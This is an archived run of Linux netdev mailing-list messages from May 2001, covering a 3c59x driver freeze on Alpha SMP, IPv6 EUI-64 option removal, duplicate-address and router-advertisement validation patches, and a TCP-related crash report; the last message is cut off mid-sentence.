From: "Cabaniols, Sebastien" To: "'Bogdan Costescu'" Cc: "'andrewm@uow.edu.au'" , "'netdev@oss.sgi.com'" , "'linux-kernel@vger.kernel.org'" Subject: RE: [3com905b freeze Alpha SMP 2.4.2] FullDuplex issue ? Date: Thu, 3 May 2001 09:28:35 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-netdev@oss.sgi.com Precedence: bulk > -----Original Message----- > From: Bogdan Costescu [mailto:bogdan.costescu@iwr.uni-heidelberg.de] > Sent: mercredi 2 mai 2001 17:14 > To: Cabaniols, Sebastien > Cc: 'andrewm@uow.edu.au'; 'netdev@oss.sgi.com'; > 'linux-kernel@vger.kernel.org' > Subject: Re: [3com905b freeze Alpha SMP 2.4.2] FullDuplex issue ? > > > On Wed, 2 May 2001, Cabaniols, Sebastien wrote: > > > I insert the 3c59x module with debug=7. > > Why ? debug=7 is the highest debug level and produces _lots_ > of debug data > for high network activity. Do you have problems when > insmod-ing without > any option and use a higher debug level just to see what's going on? It is only to produce verbose logs. (See attached file in original email) > > > The first of the above machines launching the get freezes. > > Why do you believe that the card/driver is responsible for > the freeze ? Excellent question: I don't know, should I suspect the wu-ftpd daemon ? Since the machine is crashed I guess I can suspect some code doing system stuff, drivers/kernel or daemons ? > The outputs that you provided show no problems to me. > > A duplex mismatch would not freeze a computer. You would get crappy > transfer rates, usually some error messages from the driver, but > everything should otherwise work. To verify the media > settings, you might > want to use mii-diag (from ftp.scyld.com). Ok, let me see how we compile this and send you the output. > > Sincerely, > > Bogdan Costescu > > IWR - Interdisziplinaeres Zentrum fuer Wissenschaftliches Rechnen > Universitaet Heidelberg, INF 368, D-69120 Heidelberg, GERMANY > Telephone: +49 6221 54 8869, Telefax: +49 6221 54 8868 > E-mail: Bogdan.Costescu@IWR.Uni-Heidelberg.De > > From owner-netdev@oss.sgi.com Thu May 3 00:36:34 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f437aYT00648 for netdev-outgoing; Thu, 3 May 2001 00:36:34 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f437aWF00642 for ; Thu, 3 May 2001 00:36:32 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f437aKl12661; Thu, 3 May 2001 10:36:20 +0300 Date: Thu, 3 May 2001 10:36:20 +0300 (EEST) From: Pekka Savola To: Keith Owens cc: , Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-Reply-To: <9500.988862146@kao2.melbourne.sgi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Thu, 3 May 2001, Keith Owens wrote: > On Thu, 03 May 2001 13:17:38 +1000, > Keith Owens wrote: > >Patch against 2.4.4 to remove all traces of CONFIG_IPV6_EUI64 and > >CONFIG_IPV6_NO_PB. EUI64 is now the only supported address scheme. > >I have not even compiled this patch, it is "obviously correct", except > >for the change to rt6_redirect() in net/ipv6/route.c. Is that code > >still required, even when eui64 is the _only_ option? [snip patch] Please also add a line in Configure.help under CONFIG_IPV6 describing that EUI-64 is the only method used now; so people don't wonder where they've went. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Thu May 3 00:43:54 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f437hsw01316 for netdev-outgoing; Thu, 3 May 2001 00:43:54 -0700 Received: from deliverator.sgi.com (deliverator.sgi.com [204.94.214.10]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f437hrF01313 for ; Thu, 3 May 2001 00:43:53 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980309.SGI.8.8.8-aspam-6.2/980310.SGI-aspam) via SMTP id AAA02245 for ; Thu, 3 May 2001 00:42:29 -0700 (PDT) mail_from (kaos@ocs.com.au) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA21419; Thu, 3 May 2001 17:42:24 +1000 X-Mailer: exmh version 2.1.1 10/15/1999 From: Keith Owens To: Pekka Savola cc: netdev@oss.sgi.com Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-reply-to: Your message of "Thu, 03 May 2001 10:36:20 +0300." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 03 May 2001 17:42:23 +1000 Message-ID: <13631.988875743@kao2.melbourne.sgi.com> Sender: owner-netdev@oss.sgi.com Precedence: bulk On Thu, 3 May 2001 10:36:20 +0300 (EEST), Pekka Savola wrote: >Please also add a line in Configure.help under CONFIG_IPV6 describing that >EUI-64 is the only method used now; so people don't wonder where they've >went. IMHO this is not necessary. Anybody who knows the difference between eui64 and provider based addresses will know what happened. Anyone who does not know the difference (the people who built v6 with incorrect configs) does not need to know about the change. From owner-netdev@oss.sgi.com Thu May 3 01:06:37 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4386bw02689 for netdev-outgoing; Thu, 3 May 2001 01:06:37 -0700 Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4386aF02685 for ; Thu, 3 May 2001 01:06:36 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA22767; Thu, 3 May 2001 01:06:24 -0700 From: "David S. Miller" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15089.4480.874990.624696@pizda.ninka.net> Date: Thu, 3 May 2001 01:06:24 -0700 (PDT) To: Keith Owens Cc: Pekka Savola , netdev@oss.sgi.com Subject: Re: [benc@hawaga.org.uk: Linux "enable EUI-64 token format"] In-Reply-To: <13631.988875743@kao2.melbourne.sgi.com> References: <13631.988875743@kao2.melbourne.sgi.com> X-Mailer: VM 6.75 under 21.1 (patch 13) "Crater Lake" XEmacs Lucid Sender: owner-netdev@oss.sgi.com Precedence: bulk Keith Owens writes: > On Thu, 3 May 2001 10:36:20 +0300 (EEST), > Pekka Savola wrote: > >Please also add a line in Configure.help under CONFIG_IPV6 describing that > >EUI-64 is the only method used now; so people don't wonder where they've > >went. > > IMHO this is not necessary. Anybody who knows the difference between > eui64 and provider based addresses will know what happened. Anyone who > does not know the difference (the people who built v6 with incorrect > configs) does not need to know about the change. I agree, there is really no need to make note of this. The arguments that say we should mention it also support an argument that we should not have removed them. We've agreed to remove them, now lets move on. Later, David S. Miller davem@redhat.com From owner-netdev@oss.sgi.com Thu May 3 02:04:14 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4394Ei05462 for netdev-outgoing; Thu, 3 May 2001 02:04:14 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4394CF05455 for ; Thu, 3 May 2001 02:04:13 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f4394B213052; Thu, 3 May 2001 12:04:11 +0300 Date: Thu, 3 May 2001 12:04:10 +0300 (EEST) From: Pekka Savola To: cc: Subject: IPv6: the same address can be added multiple times Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk Hi, It appears you can add _exactly_ same IPv6 address on an interface many times: [root@haukka psavola]# /sbin/ifconfig eth0 add 1::1/128 [root@haukka psavola]# /sbin/ifconfig eth0 add 1::1/128 [root@haukka psavola]# /sbin/ifconfig eth0 | grep 1::1 inet6 addr: 1::1/128 Scope:Global inet6 addr: 1::1/128 Scope:Global [root@haukka psavola]# /sbin/ip addr ls |grep 1::1 inet6 1::1/128 scope global inet6 1::1/128 scope global They must be removed N times too. The adding is possible with /sbin/ip. This also happens with USAGI kernel. FWIW, KAME stack adds the address only once(, but BSD ifconfig(8) doesn't show errors when you try to do it again; just doesn't add the second one). It looks like a check or two in kernel is missing, or is there some reasoning to this behaviour? -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Thu May 3 03:30:37 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43AUbu09339 for netdev-outgoing; Thu, 3 May 2001 03:30:37 -0700 Received: from mail.entire-systems.com (postfix@mail.entire-systems.com [195.247.235.163]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43AUaF09336 for ; Thu, 3 May 2001 03:30:36 -0700 Received: by mail.entire-systems.com (Postfix, from userid 503) id CA5444C543; Thu, 3 May 2001 12:30:33 +0200 (CEST) Date: Thu, 3 May 2001 12:30:33 +0200 From: Daniel Roesen To: Pekka Savola Cc: netdev@oss.sgi.com, usagi-users@linux-ipv6.org Subject: Re: IPv6: the same address can be added multiple times Message-ID: <20010503123033.A1378@hydra.entire-systems.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from pekkas@netcore.fi on Thu, May 03, 2001 at 12:04:10PM +0300 Sender: owner-netdev@oss.sgi.com Precedence: bulk On Thu, May 03, 2001 at 12:04:10PM +0300, Pekka Savola wrote: > It looks like a check or two in kernel is missing, Nod, if I understand net/ipv6/addrconf.c ipv6_add_addr() correctly, the check is simply missing. It looks like it unconditionally adds the address to the interface. Best regards, Daniel From owner-netdev@oss.sgi.com Thu May 3 03:41:50 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43Afon10204 for netdev-outgoing; Thu, 3 May 2001 03:41:50 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43AflF10200 for ; Thu, 3 May 2001 03:41:47 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f43Afjw13465; Thu, 3 May 2001 13:41:45 +0300 Date: Thu, 3 May 2001 13:41:45 +0300 (EEST) From: Pekka Savola To: cc: Subject: Re: IPv6: Incoming RA source-address may be non- link-local In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk On Wed, 2 May 2001, Pekka Savola wrote: > In net/ipv6/ndisc, ndisc_router_discovery function, where IPv6 router > advertisements are being processed, there is no check that RA is coming > from link-local address. The following patch (note! untested!) should do it. Copied with small modification to the printk from ndisc_redirect_rcv: --- ndisc.c~ Mon Apr 30 12:12:44 2001 +++ ndisc.c Thu May 3 13:32:37 2001 @@ -587,6 +587,11 @@ return; } + if (!(ipv6_addr_type(&skb->nh.ipv6h->saddr) & IPV6_ADDR_LINKLOCAL)) { + printk(KERN_WARNING "ICMP RA: source address is not linklocal\n"); + return; + } + /* * set the RA_RECV flag in the interface */ > > As far as I know, all implementions do use link-local addresses for > sending advertisements. RFC2461, 4.2 says: > > --- > 4.2. Router Advertisement Message Format > > [...] > IP Fields: > > Source Address > MUST be the link-local address assigned to the > interface from which this message is sent. > [...] > --- > > > KAME does this: > --- > if (!IN6_IS_ADDR_LINKLOCAL(&saddr6)) { > log(LOG_ERR, > "nd6_ra_input: src %s is not link-local\n", > ip6_sprintf(&saddr6)); > goto freeit; > } > --- > > As hop limit is verified to be 255, this could only be misused by on-link > hosts. > > Note that there is in net/ipv6/route.c: > > --- > /* IPv6 strictly inhibits using not link-local > addresses as nexthop address. > Otherwise, router will not able to send redirects. > It is very good, but in some (rare!) curcumstances > (SIT, PtP, NBMA NOARP links) it is handy to allow > some exceptions. --ANK > */ > --- > > I wonder what these circumstances are, exactly. Sit tunnels usually do > use global addressing, and next hop is non link-local (on KAME too), but > that doesn't mean those wouldn't have link-local address at all. > > What do you think? > > -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From owner-netdev@oss.sgi.com Thu May 3 05:31:50 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43CVoP15108 for netdev-outgoing; Thu, 3 May 2001 05:31:50 -0700 Received: from looping.sycomore.fr ([195.6.125.97]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43CVlF15105 for ; Thu, 3 May 2001 05:31:48 -0700 Received: from sycomore.fr (moby.sycomore [172.30.5.141]) by looping.sycomore.fr (8.9.3/8.9.3) with ESMTP id OAA16883; Thu, 3 May 2001 14:31:41 +0200 Received: from NEC-6550-A301 (IDENT:seb@nec-6550-a301.sycomore [172.30.3.103]) by sycomore.fr (8.9.3/8.8.7) with SMTP id OAA02819; Thu, 3 May 2001 14:26:42 +0200 Date: Thu, 3 May 2001 14:29:29 +0200 From: sébastien person To: liste noyau linux , liste dev network device Subject: NEWBEE "reverse ioctl" or someting like Message-Id: <20010503142929.773147bf.sebastien.person@sycomore.fr> X-Mailer: Sylpheed version 0.4.64 (GTK+ 1.2.6; i586-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-netdev@oss.sgi.com Precedence: bulk hi, I've made a network driver wich is attached to the serial port. The network hardware is able to return information to the pc. theses informations are belong to the configuration of the hardware. I succeed on receive information in the driver but I've no idea to alert higher process (like configuration app ...) that I've received something (wich is not network data like TCP or ARP etc ...). I think that use of pipe isn't preconised because I must fork process to use pipe, I search something like ioctl but in the other way : kernel process ---> user process Is somebody know the best and easy way ?? thank (I hope this is the right place to ask) sebastien person From owner-netdev@oss.sgi.com Thu May 3 05:53:13 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43CrDO16295 for netdev-outgoing; Thu, 3 May 2001 05:53:13 -0700 Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43CrBF16291 for ; Thu, 3 May 2001 05:53:11 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f43Cr9214070; Thu, 3 May 2001 15:53:09 +0300 Date: Thu, 3 May 2001 15:53:08 +0300 (EEST) From: Pekka Savola To: cc: Subject: IPv6: NS -> NA reply RFC2461 SHOULD considerations [patch] Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1589707168-1308254457-988894388=:14029" Sender: owner-netdev@oss.sgi.com Precedence: bulk This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1589707168-1308254457-988894388=:14029 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, RFC2461, 4.4: --- O Override flag. When set, the O-bit indicates that the advertisement should override an existing cache entry and update the cached link-layer address. When it is not set the advertisement will not update a cached link-layer address though it will update an existing Neighbor Cache entry for which no link-layer address is known. It SHOULD NOT be set in solicited advertisements for anycast addresses and in solicited proxy advertisements. It SHOULD be set in other solicited advertisements and in unsolicited advertisements. --- --- Target link-layer address The link-layer address for the target, i.e., the sender of the advertisement. This option MUST be included on link layers that have addresses when responding to multicast solicitations. When responding to a unicast Neighbor Solicitation this option SHOULD be included. The option MUST be included for multicast solicitations in order to avoid infinite Neighbor Solicitation "recursion" when the peer node does not have a cache entry to return a Neighbor Advertisements message. When responding to unicast solicitations, the option can be omitted since the sender of the solicitation has the correct link- layer address; otherwise it would not have be able to send the unicast solicitation in the first place. However, including the link-layer address in this case adds little overhead and eliminates a potential race condition where the sender deletes the cached link-layer address prior to receiving a response to a previous solicitation. --- Linux is does not seem to fulfull these recommendations. These seem to affect USAGI too. 1) When soliciting for anycast address, override flag in the reply SHOULD NOT be set. This may happen under certain circumstances. Proxy advertisements are already handled as recommended. There doesn't seem to be any checks for anycast in ndisc yet.. Probably not too supported yet. 2) In neighbor solicitations to unicast addresses, lladdr is not added to the router advertisement. Adding lladdr could probably be always done, except when L2 medium doesn't have lladdr. The only downside here is added space requirements (see above for discussion) which are IMO negligible. Warning: the patch has not been tested extensively, but compiles and doesn't seem to cause too major side effects. Double check for sanity / better way to do it. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords --1589707168-1308254457-988894388=:14029 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ndisc-na_ns.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="ndisc-na_ns.patch" LS0tIG5kaXNjLmMub3JpZwlNb24gQXByICA5IDAxOjIyOjIyIDIwMDENCisr KyBuZGlzYy5jCVRodSBNYXkgIDMgMTE6NTY6NDggMjAwMQ0KQEAgLTEwMDgs NyArMTAwOCw5IEBADQogDQogCQkJCWlwdjZfYWRkcl9hbGxfbm9kZXMoJm1h ZGRyKTsNCiAJCQkJbmRpc2Nfc2VuZF9uYShkZXYsIE5VTEwsICZtYWRkciwg JmlmcC0+YWRkciwgDQotCQkJCQkgICAgICBpZnAtPmlkZXYtPmNuZi5mb3J3 YXJkaW5nLCAwLCAxLCAxKTsNCisJCQkJCSAgICAgIGlmcC0+aWRldi0+Y25m LmZvcndhcmRpbmcsIDAsIA0KKwkJCQkJICAgICAgaXB2Nl9hZGRyX3R5cGUo JmlmcC0+YWRkcikmSVBWNl9BRERSX0FOWUNBU1QgPyAwIDogMSwgDQorCQkJ CQkgICAgICAxKTsNCiAJCQkJaW42X2lmYV9wdXQoaWZwKTsNCiAJCQkJcmV0 dXJuIDA7DQogCQkJfQ0KQEAgLTEwMzAsNyArMTAzMiw5IEBADQogDQogCQkJ CWlmIChuZWlnaCkgew0KIAkJCQkJbmRpc2Nfc2VuZF9uYShkZXYsIG5laWdo LCBzYWRkciwgJmlmcC0+YWRkciwgDQotCQkJCQkJICAgICAgaWZwLT5pZGV2 LT5jbmYuZm9yd2FyZGluZywgMSwgaW5jLCBpbmMpOw0KKwkJCQkJCSAgICAg IGlmcC0+aWRldi0+Y25mLmZvcndhcmRpbmcsIDEsIA0KKwkJCQkJCSAgICAg IGlwdjZfYWRkcl90eXBlKCZpZnAtPmFkZHIpJklQVjZfQUREUl9BTllDQVNU ID8gMCA6IDEsIA0KKwkJCQkJCSAgICAgIDEpOw0KIAkJCQkJbmVpZ2hfcmVs ZWFzZShuZWlnaCk7DQogCQkJCX0NCiAJCQl9DQpAQCAtMTA1Nyw3ICsxMDYx LDcgQEANCiANCiAJCQkJCWlmIChuZWlnaCkgew0KIAkJCQkJCW5kaXNjX3Nl bmRfbmEoZGV2LCBuZWlnaCwgc2FkZHIsICZtc2ctPnRhcmdldCwNCi0JCQkJ CQkJICAgICAgMCwgMSwgMCwgaW5jKTsNCisJCQkJCQkJICAgICAgMCwgMSwg MCwgMSk7DQogCQkJCQkJbmVpZ2hfcmVsZWFzZShuZWlnaCk7DQogCQkJCQl9 DQogCQkJCX0gZWxzZSB7DQo= --1589707168-1308254457-988894388=:14029-- From owner-netdev@oss.sgi.com Thu May 3 05:57:39 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43CvdH16852 for netdev-outgoing; Thu, 3 May 2001 05:57:39 -0700 Received: from shonan.sfc.wide.ad.jp (shonan.sfc.wide.ad.jp [203.178.142.130]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43CvcF16849 for ; Thu, 3 May 2001 05:57:38 -0700 Received: from AYUMI (ddi029089.ppp.infoweb.ne.jp [211.128.226.249]) by shonan.sfc.wide.ad.jp (8.9.3+3.2W/3.7Wpl2-shonan) with SMTP id VAA15894; Thu, 3 May 2001 21:57:31 +0900 (JST) (envelope-from sekiya@sfc.wide.ad.jp) From: "Yuji Sekiya" To: "Pekka Savola" Cc: "netdev ML" , "USAGI USERS" Subject: Re: IPv6: Neighbor discovery diagnostics utility for Linux? Date: Thu, 3 May 2001 21:57:29 +0900 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-netdev@oss.sgi.com Precedence: bulk Hello, > Is there an utility to diagnose/control neighbour discovery, list all > neighbors, routers etc. for Linux? > > I haven't been able to find one. Please provide pointers if you have. At present, you can use ip command in iproute2 package. It is useful for viewing neighbor discovery entries. USAGI Project begin to implement ndp command which is compatible with KAME's. But currently it works with '-a' option. We continue to implement other options. You can find the command in our latest snapshots. Regards. -- Yuji Sekiya From owner-netdev@oss.sgi.com Thu May 3 07:55:14 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43EtEN21843 for netdev-outgoing; Thu, 3 May 2001 07:55:14 -0700 Received: from mail0.bna.bellsouth.net (mail0.bna.bellsouth.net [205.152.150.12]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43EtCF21831 for ; Thu, 3 May 2001 07:55:13 -0700 Received: from adsl-80-148-15.rdu.bellsouth.net (adsl-80-148-15.rdu.bellsouth.net [65.80.148.15]) by mail0.bna.bellsouth.net (3.3.5alt/0.75.2) with ESMTP id KAA09200; Thu, 3 May 2001 10:55:06 -0400 (EDT) From: volodya@mindspring.com Date: Thu, 3 May 2001 10:54:59 -0400 (EDT) X-Sender: volodya@node2.localnet.net Reply-To: volodya@mindspring.com To: =?ISO-8859-1?Q?s=E9bastien?= person cc: liste noyau linux , liste dev network device Subject: Re: NEWBEE "reverse ioctl" or someting like In-Reply-To: <20010503142929.773147bf.sebastien.person@sycomore.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id f43EtDF21836 Sender: owner-netdev@oss.sgi.com Precedence: bulk a) just make your management app periodically issue ioctl(fd, GET_CONFIG_INFO, ...) and make the driver return -1 when the info is not present b) make a new device and open it with management app c) make a new node in /proc and open it with management app (cons: requires /proc to be mounted) d) kernel-user netlink socket (never tried myself) Vladimir Dergachev On Thu, 3 May 2001, [ISO-8859-1] sébastien person wrote: > hi, > > I've made a network driver wich is attached to the serial port. > The network hardware is able to return information to the pc. theses > informations are belong to the configuration of the hardware. I > succeed on receive information in the driver but I've no idea to alert > higher process (like configuration app ...) that I've received something > (wich is not network data like TCP or ARP etc ...). > > I think that use of pipe isn't preconised because I must fork process > to use pipe, I search something like ioctl but in the other way : > > kernel process ---> user process > > Is somebody know the best and easy way ?? > > thank (I hope this is the right place to ask) > > sebastien person > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ > From owner-netdev@oss.sgi.com Thu May 3 09:18:06 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43GI6405575 for netdev-outgoing; Thu, 3 May 2001 09:18:06 -0700 Received: from ztxmail03.ztx.compaq.com (ztxmail03.ztx.compaq.com [161.114.1.207]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43GI3F05572 for ; Thu, 3 May 2001 09:18:03 -0700 Received: by ztxmail03.ztx.compaq.com (Postfix, from userid 12345) id 26C921945; Thu, 3 May 2001 11:17:58 -0500 (CDT) Received: from excmun-gh02.eur.compaq.com (excmun-gh02.dem.cpqcorp.net [16.41.92.161]) by ztxmail03.ztx.compaq.com (Postfix) with ESMTP id ED4C11AAA; Thu, 3 May 2001 11:17:56 -0500 (CDT) Received: by excmun-gh02.dem.cpqcorp.net with Internet Mail Service (5.5.2650.21) id ; Thu, 3 May 2001 18:17:55 +0200 Message-ID: <1FF17ADDAC64D0119A6E0000F830C9EA04B3CDD1@aeoexc1.aeo.cpqcorp.net> From: "Cabaniols, Sebastien" To: "'Andrew Morton'" , "'netdev@oss.sgi.com'" , "'linux-kernel@vger.kernel.org'" , "'davem@redhat.com'" Cc: "'kuznet@ms2.inr.ac.ru'" , "'andrea@suse.de'" Subject: [BUG] freeze Alpha ES40 SMP 2.4.4.ac3, another TCP/IP Problem ? ( was 2.4.4 kernel crash , possibly tcp related ) Date: Thu, 3 May 2001 18:16:02 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-netdev@oss.sgi.com Precedence: bulk Hello, I have a bug on an Alpha ES40 SMP 2.4.4.ac3 modified (TCP Bug from lkml) Platform: Linux Version: ----------------------- My kernel is 2.4.4-ac3 with the tcp.c file modified as suggested by the following patch. >I see! Dave, please, take the second Andrea's patch (appended). >It is really the cleanest one. >Alexey >--- 2.4.4aa3/net/ipv4/tcp.c.~1~ Tue May 1 10:44:57 2001 >+++ 2.4.4aa3/net/ipv4/tcp.c Tue May 1 12:00:25 2001 >@@ -1183,11 +1183,8 @@ > do_fault: > if (skb->len==0) { >- if (tp->send_head == skb) { >- tp->send_head = skb->next; >- if (tp->send_head == (struct sk_buff*)&sk->write_queue) >- tp->send_head = NULL; >- } >+ if (tp->send_head == skb) >+ tp->send_head = NULL; > __skb_unlink(skb, skb->list); > tcp_free_skb(sk, skb); > } > >- This time, to show that it has nothing to do with the ftp server I used a simple rcp: Experiment 1: ---------------------- ES40-06 ES40-05 rcp es40-05:/mnt/big/mid /tmp/toto Machine fine with a mid file not too big (1.4Megabytes) everything is fine Experiment 2: ---------------------- ES40-06 ES40-05 rcp es40-05:/mnt/big/1Giga /tmp/toto Machine frozen the ES40-06 managed to retrieve only 11 Mbytes so I guess I can start again with a 12 Megabytes file, It should trigger the bug. Here is the log of the machine who crashed: ----------------------------------------------------------------------- May 3 17:27:57 es40-05 PAM_unix[651]: (system-auth) session opened for user root by (uid=0) May 3 17:27:57 es40-05 in.rshd[651]: root@es40-06.idris.domain as root: cmd='rcp -f /mnt/big/mid' May 3 17:29:36 es40-05 PAM_unix[662]: (system-auth) session opened for user root by (uid=0) May 3 17:29:36 es40-05 in.rshd[662]: root@es40-06.idris.domain as root: cmd='rcp -f /mnt/big/1Giga' May 3 17:29:36 es40-05 kernel: eth0: interrupt, status e401, latency 4 ticks. May 3 17:29:36 es40-05 kernel: . May 3 17:29:36 es40-05 kernel: eth0: exiting interrupt, status e000. May 3 17:29:37 es40-05 kernel: e201. May 3 17:29:37 es40-05 kernel: <7<7>eth0: In interrupt loop, status e401. May 3 17:29:37 es40-05 kernel: <7omerang_start_xmit() May 3 17:29:37 es40-05 kernel: <7omerang_start_xmit() The next line is: -------------------------- May 3 17:36:17 es40-05 syslogd 1.3-3: restart. What could I do to be sure where the problem is ? I tested the machine under high cpu load, memory, swap, combination of the three. The only thing that does not work under load is the network.... TCP/IP ? Andrew Morton is pretty sure this has nothing to do with his driver... Any ideas of how I could find where the problem is ? Thx for any help. From owner-netdev@oss.sgi.com Thu May 3 09:46:50 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f43Gkob06946 for netdev-outgoing; Thu, 3 May 2001 09:46:50 -0700 Received: from penguin.e-mind.com (penguin.e-mind.com [195.223.140.120]) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f43GkkF06943 for ; Thu, 3 May 2001 09:46:46 -0700 Received: from black.random ([195.223.140.107]) by penguin.e-mind.com (8.9.1a/8.9.1/Debian/GNU) with ESMTP id SAA18660; Thu, 3 May 2001 18:52:17 +0200 Received: from athlon.random ([192.168.1.7]) by black.random (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) with ESMTP id f43IXka14123; Thu, 3 May 2001 20:33:46 +0200 Received: (from andrea@localhost) by athlon.random (8.11.2/8.10.2/SuSE Linux 8.10.0-0.3) id f43GkA103634; Thu, 3 May 2001 18:46:10 +0200 Date: Thu, 3 May 2001 18:46:10 +0200 From: Andrea Arcangeli To: "Cabaniols, Sebastien" Cc: "'Andrew Morton'" , "'netdev@oss.sgi.com'" , "'linux-kernel@vger.kernel.org'" , "'davem@redhat.com'" , "'kuznet@ms2.inr.ac.ru'" Subject: Re: [BUG] freeze Alpha ES40 SMP 2.4.4.ac3, another TCP/IP Problem ? ( was 2.4.4 kernel crash , possibly tcp related ) Message-ID: <20010503184610.T1162@athlon.random> References: <1FF17ADDAC64D0119A6E0000F830C9EA04B3CDD1@aeoexc1.aeo.cpqcorp.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1FF17ADDAC64D0119A6E0000F830C9EA04B3CDD1@aeoexc1.aeo.cpqcorp.net>; from Sebastien.Cabaniols@Compaq.com on Thu, May 03, 2001 at 06:16:02PM +0200 X-GnuPG-Key-URL: http://e-mind.com/~andrea/aa.gnupg.asc X-PGP-Key-URL: http://e-mind.com/~andrea/aa.asc Sender: owner-netdev@oss.sgi.com Precedence: bulk On Thu, May 03, 2001 at 06:16:02PM +0200, Cabaniols, Sebastien wrote: > The only thing that does not work under load is the network.... TCP/IP ? My alpha is running 2.4.4aa3 under very high load (apache beaten from ab in loop via 100mbit switched network [tulip on the alpha] plus cerberus) and I didn't had any problem so far (it only deadlocked with OOM after one day of day of tux [instead of apache] + cerberus regression testing but that's only because of a memleak in tux that I reproduced on x86 